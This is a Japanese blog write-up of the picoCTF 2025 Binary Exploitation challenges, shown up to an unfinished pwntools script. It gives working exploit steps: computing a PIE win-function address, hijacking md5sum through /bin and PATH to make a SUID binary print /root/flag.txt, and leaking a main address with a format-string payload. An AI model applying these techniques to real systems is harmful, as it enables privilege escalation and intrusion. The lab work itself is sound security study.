以下の内容はhttps://daisuke20240310.hatenablog.com/entry/picoctf2025beより取得しました。


picoCTF 2025:Binary Exploitationの全6問をやってみた

前回 から、picoCTF 2025 にリアルタイムで参戦しています。

picoCTF 2025 が 3/7 から始まっていて、昨日(3/17)に終了しました。今回は、リアルタイムで参戦できました。終了するまでは、解法や、フラグを公開することは禁止されていましたので、順番にその内容を公開していきます。

今回は、Binary Exploitation です。

それでは、やっていきます。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた ← 今回

picoCTF の公式サイトは以下です。

picoctf.org

3/7 から 3/17 までの 10日間で開催されています。

picoCTF 2025
picoCTF 2025

今回は、Binary Exploitation をやっていきます。

picoCTF 2025:Binary Exploitation

ポイントの低い順にやっていきます。

PIE TIME(75 points)

1つの C言語のソースコード(vuln.c)と、1つのバイナリプログラム(vuln)をダウンロードできます。また、サーバを起動して進める問題のようです。

PIE TIME(75 points)
PIE TIME(75 points)

まず、ソースコードです。

セグメンテーションフォールトが発生した場合のハンドラが定義されています。main関数では、シグナルが有効化された後、main関数のアドレスが表示され、ユーザから入力されたアドレスにジャンプするコードになっています。

普通に考えると、main関数のアドレスから、プログラムバイナリのベースアドレスを求めて、win関数のアドレスにジャンプすればいいような気がします。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

表層解析を行います。問題のタイトルの通り、PIE が有効なようです。

$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped

$ ~/bin/checksec --file=vuln
RELRO       STACK CANARY  NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Full RELRO  Canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  78 Symbols  No       0          1            vuln

$ checksec --file=vuln
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

PIE とはいえ、プログラムバイナリの中のオフセットは変わりません。main関数と win関数のオフセットを取得しておきます。

$ nm vuln | grep main
                 U __libc_start_main@@GLIBC_2.2.5
000000000000133d T main

$ nm vuln | grep win
00000000000012a7 T win

0x133D - 0x12A7 = 0x96 なので、main関数のアドレスが表示されたら、0x96 を引いたアドレスを指定すれば良さそうです。やってみます。出来ました。

$ ./vuln
Address of main: 0x5556d974633d
Enter the address to jump to, ex => 0x12345: 0x5556D97462A7         
Your input: 5556d97462a7
You won!
picoCTF{deadbeef}

次は、サーバの方でやってみます。出来ました。

$ nc rescued-float.picoctf.net 52146
Address of main: 0x6514713c233d
Enter the address to jump to, ex => 0x12345: 0x6514713C22A7
Your input: 6514713c22a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_00dea386}

hash-only-1(100 points)

SSH でサーバにログインできるようです。また、サーバからプログラムバイナリをダウンロードする方法も提示されています。

hash-only-1(100 points)
hash-only-1(100 points)

SCP でプログラムバイナリをダウンロードしてみます。

$ scp -P 62827 ctf-player@shape-facility.picoctf.net:~/flaghasher .
ctf-player@shape-facility.picoctf.net's password: 
flaghasher                                                                                                                                                                                                                 100%   18KB  34.7KB/s   00:00    

SSH で接続してみます。接続できて、カレントディレクトリを表示しました。対象のファイルの flaghasher に、SUID がセットされています。

$ ssh ctf-player@shape-facility.picoctf.net -p 62827
The authenticity of host '[shape-facility.picoctf.net]:62827 ([3.20.150.139]:62827)' can't be established.
ED25519 key fingerprint is SHA256:Fz1mMdx0yh6mS5b8KQR1ZtlFCzBFhRSUtFBKf8iBV8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[shape-facility.picoctf.net]:62827' (ED25519) to the list of known hosts.
ctf-player@shape-facility.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.8.0-1023-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@pico-chall$ ls -alF
total 24
drwxr-xr-x 1 ctf-player ctf-player    20 Mar 15 11:05 ./
drwxr-xr-x 1 root       root          24 Mar  6 03:44 ../
drwx------ 2 ctf-player ctf-player    34 Mar 15 11:05 .cache/
-rw-r--r-- 1 root       root          67 Mar  6 03:45 .profile
-rwsr-xr-x 1 root       root       18312 Mar  6 03:45 flaghasher*

ローカル、サーバの順に実行してみます。ローカルでは、/root/flag.txt の位置にファイルを置いてないため、エラーになりました。サーバの方は、MD5 のハッシュを計算してくれて、その結果を表示してくれました。権限昇格の問題でしょうか。

$ ./flaghasher 
Computing the MD5 hash of /root/flag.txt.... 

md5sum: /root/flag.txt: そのようなファイルやディレクトリはありません
Error: system() call returned non-zero value: 256

ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....

87372b3f21242178d2bf22192541ab0c  /root/flag.txt

権限昇格の問題なら必要なさそうですが、一応、Ghidra で見てみます。main関数です。

bool main(void)
{
  basic_ostream *pbVar1;
  basic_ostream<> *pbVar2;
  char *__command;
  long in_FS_OFFSET;
  bool bVar3;
  allocator<char> local_4d;
  int local_4c;
  basic_string<> local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pbVar1 = std::operator<<((basic_ostream *)std::cout,
                           "Computing the MD5 hash of /root/flag.txt.... ");
  pbVar2 = (basic_ostream<> *)
           std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,std::endl<>);
  std::basic_ostream<>::operator<<(pbVar2,std::endl<>);
  sleep(2);
  std::allocator<char>::allocator();
                    /* try { // try from 001013aa to 001013ae has its CatchHandler @ 0010144f */
                    /* } // end try from 001013aa to 001013ae */
  std::__cxx11::basic_string<>::basic_string
            ((char *)local_48,(allocator *)"/bin/bash -c \'md5sum /root/flag.txt\'");
  std::allocator<char>::~allocator(&local_4d);
  setgid(0);
  setuid(0);
  __command = (char *)std::__cxx11::basic_string<>::c_str();
                    /* try { // try from 001013de to 00101423 has its CatchHandler @ 0010146d */
  local_4c = system(__command);
  bVar3 = local_4c != 0;
  if (bVar3) {
    pbVar1 = std::operator<<((basic_ostream *)std::cerr,
                             "Error: system() call returned non-zero value: ");
    pbVar2 = (basic_ostream<> *)std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,local_4c)
    ;
                    /* } // end try from 001013de to 00101423 */
    std::basic_ostream<>::operator<<(pbVar2,std::endl<>);
  }
  std::__cxx11::basic_string<>::~basic_string(local_48);
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return bVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

なんとなく分かりました。md5sum を置き換えてしまえばいいと思います。やってみます。

フラグが表示されました。

ctf-player@pico-chall$ ls -alF /bin/md5sum
-rwxrwxrwx 1 root root 47480 Sep  5  2019 /bin/md5sum*

ctf-player@pico-chall$ ln -s /bin/cat md5sum

ctf-player@pico-chall$ ls -alF
total 24
drwxr-xr-x 1 ctf-player ctf-player    34 Mar 15 11:47 ./
drwxr-xr-x 1 root       root          24 Mar  6 03:44 ../
drwx------ 2 ctf-player ctf-player    34 Mar 15 11:46 .cache/
-rw-r--r-- 1 root       root          67 Mar  6 03:45 .profile
-rwsr-xr-x 1 root       root       18312 Mar  6 03:45 flaghasher*
lrwxrwxrwx 1 ctf-player ctf-player     8 Mar 15 11:47 md5sum -> /bin/cat*

ctf-player@pico-chall$ cp md5sum /bin/

ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_e85aba2d}

hash-only-2(200 points)

先ほどの問題と似てます。SSH で接続できます。今度は、プログラムバイナリをダウンロードできる、とは言ってないです。

hash-only-2(200 points)
hash-only-2(200 points)

SSH で接続してみます。なるほど、今度は、flaghasher の場所が変わっているようです。また、SCP は動かず、同じ方法も出来ませんでした。md5sum に書き込み権限がありませんでした。

$ ssh ctf-player@rescued-float.picoctf.net -p 61076
The authenticity of host '[rescued-float.picoctf.net]:61076 ([3.20.79.114]:61076)' can't be established.
ED25519 key fingerprint is SHA256:PQC5vOQmf4PDyXxyU4hugIql2NWdyXuXAwj3IO43rI8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[rescued-float.picoctf.net]:61076' (ED25519) to the list of known hosts.
ctf-player@rescued-float.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.8.0-1023-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@pico-chall$ ls -alF
total 4
drwxr-xr-x 1 ctf-player ctf-player 20 Mar 15 11:53 ./
drwxr-xr-x 1 root       root       24 Mar  6 19:42 ../
drwx------ 2 ctf-player ctf-player 34 Mar 15 11:53 .cache/
-rw-r--r-- 1 root       root       67 Mar  6 19:42 .profile

ctf-player@pico-chall$ which flaghasher
/usr/local/bin/flaghasher

$ ls -alF /usr/local/bin/flaghasher
-rwsr-xr-x 1 root root 18312 Mar  6 19:42 /usr/local/bin/flaghasher*

ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....

cfaa8a682b9556998477d62b1376c4fa  /root/flag.txt

$ scp -P 61076 ctf-player@rescued-float.picoctf.net:~/flaghasher .
ctf-player@rescued-float.picoctf.net's password: 
scp: Connection closed

ctf-player@pico-chall$ ln -s /bin/cat md5sum

ctf-player@pico-chall$ ls -alF
total 24
drwxr-xr-x 1 ctf-player ctf-player    52 Mar 15 11:58 ./
drwxr-xr-x 1 root       root          24 Mar  6 19:42 ../
drwx------ 2 ctf-player ctf-player    34 Mar 15 11:53 .cache/
-rw-r--r-- 1 root       root          67 Mar  6 19:42 .profile
-rwxr-xr-x 1 ctf-player ctf-player 18312 Mar 15 11:55 flaghasher*
lrwxrwxrwx 1 ctf-player ctf-player     8 Mar 15 11:58 md5sum -> /bin/cat*

$ cp md5sum /bin
cp: cannot create regular file '/bin/md5sum': Permission denied

$ ls -alF /bin/md5sum
-rwxr-xr-x 1 root root 47480 Sep  5  2019 /bin/md5sum*

scp がうまくいかなかった(制限されてる?)ので、他の方法で、ローカルにコピーします。

$ ssh ctf-player@rescued-float.picoctf.net -p 53293 cat flaghasher > flaghasher_cat
ctf-player@rescued-float.picoctf.net's password:

Ghidra で見てみます。同じに見えますね。実際に比較してみると、同じでした。

bool main(void)
{
  basic_ostream *pbVar1;
  basic_ostream<> *pbVar2;
  char *__command;
  long in_FS_OFFSET;
  bool bVar3;
  allocator<char> local_4d;
  int local_4c;
  basic_string<> local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pbVar1 = std::operator<<((basic_ostream *)std::cout,
                           "Computing the MD5 hash of /root/flag.txt.... ");
  pbVar2 = (basic_ostream<> *)
           std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,std::endl<>);
  std::basic_ostream<>::operator<<(pbVar2,std::endl<>);
  sleep(2);
  std::allocator<char>::allocator();
                    /* try { // try from 001013aa to 001013ae has its CatchHandler @ 0010144f */
                    /* } // end try from 001013aa to 001013ae */
  std::__cxx11::basic_string<>::basic_string
            ((char *)local_48,(allocator *)"/bin/bash -c \'md5sum /root/flag.txt\'");
  std::allocator<char>::~allocator(&local_4d);
  setgid(0);
  setuid(0);
  __command = (char *)std::__cxx11::basic_string<>::c_str();
                    /* try { // try from 001013de to 00101423 has its CatchHandler @ 0010146d */
  local_4c = system(__command);
  bVar3 = local_4c != 0;
  if (bVar3) {
    pbVar1 = std::operator<<((basic_ostream *)std::cerr,
                             "Error: system() call returned non-zero value: ");
    pbVar2 = (basic_ostream<> *)std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,local_4c)
    ;
                    /* } // end try from 001013de to 00101423 */
    std::basic_ostream<>::operator<<(pbVar2,std::endl<>);
  }
  std::__cxx11::basic_string<>::~basic_string(local_48);
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return bVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

別の方法を考えます。/bin や、/usr/bin より、優先して、見に行ってくれる実行可能なパスを探します。/usr/local/bin に置けば良さそうです。出ました!

ctf-player@pico-chall$ env
SHELL=/bin/rbash
PWD=/home/ctf-player
LOGNAME=ctf-player
MOTD_SHOWN=pam
HOME=/home/ctf-player
LANG=C.UTF-8
SSH_CONNECTION=127.0.0.1 41264 127.0.0.1 22
TERM=xterm
USER=ctf-player
SHLVL=1
PS1=\[\e[35m\]\u\[\e[m\]@\[\e[35m\]pico-chall\[\e[m\]$
SSH_CLIENT=127.0.0.1 41264 22
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
SSH_TTY=/dev/pts/0
_=/usr/bin/env

ctf-player@pico-chall$ cp md5sum /usr/local/bin/

ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_dab7e075}

PIE TIME 2(200 points)

先ほどの問題と同様に、1つの C言語のソースコード(vuln.c)と、1つのバイナリプログラム(vuln)をダウンロードできます。また、サーバを起動して進める問題のようです。

PIE TIME 2(200 points)
PIE TIME 2(200 points)

まずは、ソースコードです。先ほどの問題と似てます。

call_functions関数で、名前を聞かれて、その後、任意のアドレスにジャンプできるようです。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

表層解析を行います。

$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped

$ ~/bin/checksec --file=vuln
RELRO       STACK CANARY  NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Full RELRO  Canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  81 Symbols  No       0          2            vuln

$ pwn checksec --file=vuln
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

win関数のアドレスにジャンプしたいのですが、そのためには、このプログラムの何らかのアドレスを得る必要があります。先ほどは、main関数のアドレスを表示してくれていたので簡単でした。その代わりに、名前を入力するところで、スタックバッファオーバーフロー出来そうです。あ、書式文字列攻撃も出来そうです。これで任意の値を表示できそうです。

call_functions関数のアセンブラです。

pwndbg> disassemble 
Dump of assembler code for function call_functions:
   0x00005555555552c7 <+0>: endbr64
   0x00005555555552cb <+4>: push   rbp
   0x00005555555552cc <+5>: mov    rbp,rsp
=> 0x00005555555552cf <+8>:  sub    rsp,0x60
   0x00005555555552d3 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00005555555552dc <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00005555555552e0 <+25>:    xor    eax,eax
   0x00005555555552e2 <+27>:    lea    rdi,[rip+0xd45]        # 0x55555555602e
   0x00005555555552e9 <+34>:    mov    eax,0x0
   0x00005555555552ee <+39>:    call   0x555555555140 <printf@plt>
   0x00005555555552f3 <+44>:    mov    rdx,QWORD PTR [rip+0x2d26]        # 0x555555558020 <stdin@@GLIBC_2.2.5>
   0x00005555555552fa <+51>:    lea    rax,[rbp-0x50]
   0x00005555555552fe <+55>:    mov    esi,0x40
   0x0000555555555303 <+60>:    mov    rdi,rax
   0x0000555555555306 <+63>:    call   0x555555555160 <fgets@plt>
   0x000055555555530b <+68>:    lea    rax,[rbp-0x50]
   0x000055555555530f <+72>:    mov    rdi,rax
   0x0000555555555312 <+75>:    mov    eax,0x0
   0x0000555555555317 <+80>:    call   0x555555555140 <printf@plt>
   0x000055555555531c <+85>:    lea    rdi,[rip+0xd1d]        # 0x555555556040
   0x0000555555555323 <+92>:    mov    eax,0x0
   0x0000555555555328 <+97>:    call   0x555555555140 <printf@plt>
   0x000055555555532d <+102>:   lea    rax,[rbp-0x60]
   0x0000555555555331 <+106>:   mov    rsi,rax
   0x0000555555555334 <+109>:   lea    rdi,[rip+0xd34]        # 0x55555555606f
   0x000055555555533b <+116>:   mov    eax,0x0
   0x0000555555555340 <+121>:   call   0x5555555551a0 <__isoc99_scanf@plt>
   0x0000555555555345 <+126>:   mov    rax,QWORD PTR [rbp-0x60]
   0x0000555555555349 <+130>:   mov    QWORD PTR [rbp-0x58],rax
   0x000055555555534d <+134>:   mov    rax,QWORD PTR [rbp-0x58]
   0x0000555555555351 <+138>:   call   rax
   0x0000555555555353 <+140>:   nop
   0x0000555555555354 <+141>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000555555555358 <+145>:   xor    rax,QWORD PTR fs:0x28
   0x0000555555555361 <+154>:   je     0x555555555368 <call_functions+161>
   0x0000555555555363 <+156>:   call   0x555555555130 <__stack_chk_fail@plt>
   0x0000555555555368 <+161>:   leave
   0x0000555555555369 <+162>:   ret
End of assembler dump.

call_functions関数のスタックを可視化します。これまで、上から順番に大きなアドレスから書いていましたが、今回から逆にして、上から順番に小さなアドレスから書いていきます。

アドレス サイズ 内容
rbp - 0x60 8 val(rsp)
rbp - 0x58 8 foo
rbp - 0x50 64 buffer[64]
rbp - 0x10 8 空き
rbp - 0x08 8 canary
rbp

まず、GDB で vuln を動かして、スタックから main関数のアドレスを探します。見つけたら、書式文字列攻撃で、そのアドレスを表示させます。main関数のアドレスが分かれば、あとは先ほどの問題と同じです。

以下は、GDB で printf(buffer) を実行した直後の状態です。スタックを眺めてみると、rbp + 0x28 の位置に、main関数のアドレスがありました。これを書式文字列攻撃で表示させます。

────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────
   0x555555555306 <call_functions+63>     call   fgets@plt                   <fgets@plt>
 
   0x55555555530b <call_functions+68>     lea    rax, [rbp - 0x50]     RAX => 0x7fffffffdd80 ◂— 'AAAAAAAA,%22$p,%23$p,%24$p,%25$p\n'
   0x55555555530f <call_functions+72>     mov    rdi, rax              RDI => 0x7fffffffdd80 ◂— 'AAAAAAAA,%22$p,%23$p,%24$p,%25$p\n'
   0x555555555312 <call_functions+75>     mov    eax, 0                EAX => 0
   0x555555555317 <call_functions+80>     call   printf@plt                  <printf@plt>
 
 ► 0x55555555531c <call_functions+85>     lea    rdi, [rip + 0xd1d]     RDI => 0x555555556040 ◂— ' enter the address to jump to, ex => 0x12345: '
   0x555555555323 <call_functions+92>     mov    eax, 0                 EAX => 0
   0x555555555328 <call_functions+97>     call   printf@plt                  <printf@plt>
 
   0x55555555532d <call_functions+102>    lea    rax, [rbp - 0x60]
   0x555555555331 <call_functions+106>    mov    rsi, rax
   0x555555555334 <call_functions+109>    lea    rdi, [rip + 0xd34]     RDI => 0x55555555606f ◂— 0x20756f5900786c25 /* '%lx' */
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd70 ◂— 0
01:0008│-058 0x7fffffffdd78 —▸ 0x7ffff7f9c760 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0010│-050 0x7fffffffdd80 ◂— 'AAAAAAAA,%22$p,%23$p,%24$p,%25$p\n'
03:0018│-048 0x7fffffffdd88 ◂— ',%22$p,%23$p,%24$p,%25$p\n'
04:0020│-040 0x7fffffffdd90 ◂— '23$p,%24$p,%25$p\n'
05:0028│-038 0x7fffffffdd98 ◂— '$p,%25$p\n'
06:0030│-030 0x7fffffffdda0 —▸ 0x7ffff7f9000a ◂— 0x280e0a440b48080e
07:0038│-028 0x7fffffffdda8 —▸ 0x7ffff7e41079 (setvbuf+233) ◂— cmp rax, 1
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55555555531c call_functions+85
   1   0x555555555441 main+65
   2   0x7ffff7df024a __libc_start_call_main+122
   3   0x7ffff7df0305 __libc_start_main+133
   4   0x5555555551ee _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 20
00:0000│ rsp 0x7fffffffdd70 ◂— 0
01:0008│-058 0x7fffffffdd78 —▸ 0x7ffff7f9c760 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0010│-050 0x7fffffffdd80 ◂— 'AAAAAAAA,%22$p,%23$p,%24$p,%25$p\n'
03:0018│-048 0x7fffffffdd88 ◂— ',%22$p,%23$p,%24$p,%25$p\n'
04:0020│-040 0x7fffffffdd90 ◂— '23$p,%24$p,%25$p\n'
05:0028│-038 0x7fffffffdd98 ◂— '$p,%25$p\n'
06:0030│-030 0x7fffffffdda0 —▸ 0x7ffff7f9000a ◂— 0x280e0a440b48080e
07:0038│-028 0x7fffffffdda8 —▸ 0x7ffff7e41079 (setvbuf+233) ◂— cmp rax, 1
08:0040│-020 0x7fffffffddb0 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe224 ◂— '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'
09:0048│-018 0x7fffffffddb8 —▸ 0x7fffffffdde0 ◂— 1
0a:0050│-010 0x7fffffffddc0 ◂— 0
0b:0058│-008 0x7fffffffddc8 ◂— 0x23020f386e0b8b00
0c:0060│ rbp 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 1
0d:0068│+008 0x7fffffffddd8 —▸ 0x555555555441 (main+65) ◂— mov eax, 0
0e:0070│+010 0x7fffffffdde0 ◂— 1
0f:0078│+018 0x7fffffffdde8 —▸ 0x7ffff7df024a (__libc_start_call_main+122) ◂— mov edi, eax
10:0080│+020 0x7fffffffddf0 ◂— 0
11:0088│+028 0x7fffffffddf8 —▸ 0x555555555400 (main) ◂— endbr64 
12:0090│+030 0x7fffffffde00 ◂— 0x100000000
13:0098│+038 0x7fffffffde08 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe224 ◂— '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'

名前の入力で、AAAAAAAA,%22$p,%23$p,%24$p,%25$p を入力します。正確な位置を考えずに、周辺のいくつかを出力しています。すると、AAAAAAAA,(nil),0x555555555400,0x100000000,0x7fffffffdef8 と出力されました。%23$p でいいようです。

では、pwntools で実装していきます。以下のようになりました。

#!/usr/bin/env python3
from pwn import *

bin_file = './vuln'
context( os = 'linux', arch = 'amd64' )
# context.log_level = 'debug'

binf                = ELF( bin_file )
addr_main_offset    = binf.functions['main'].address
addr_win_offset     = binf.functions['win'].address
#addr_got_setbuf    = binf.got['setbuf']
addr_bss            = binf.bss()

diff = addr_main_offset - addr_win_offset

info( f"addr_main_offset=0x{addr_main_offset:08X}, addr_win_offset=0x{addr_win_offset:08X}" )

def attack( proc, **kwargs ):
    
    proc.sendlineafter( ':', b'%23$p' )
    
    if True:
        addr = proc.recvline().decode('utf-8')
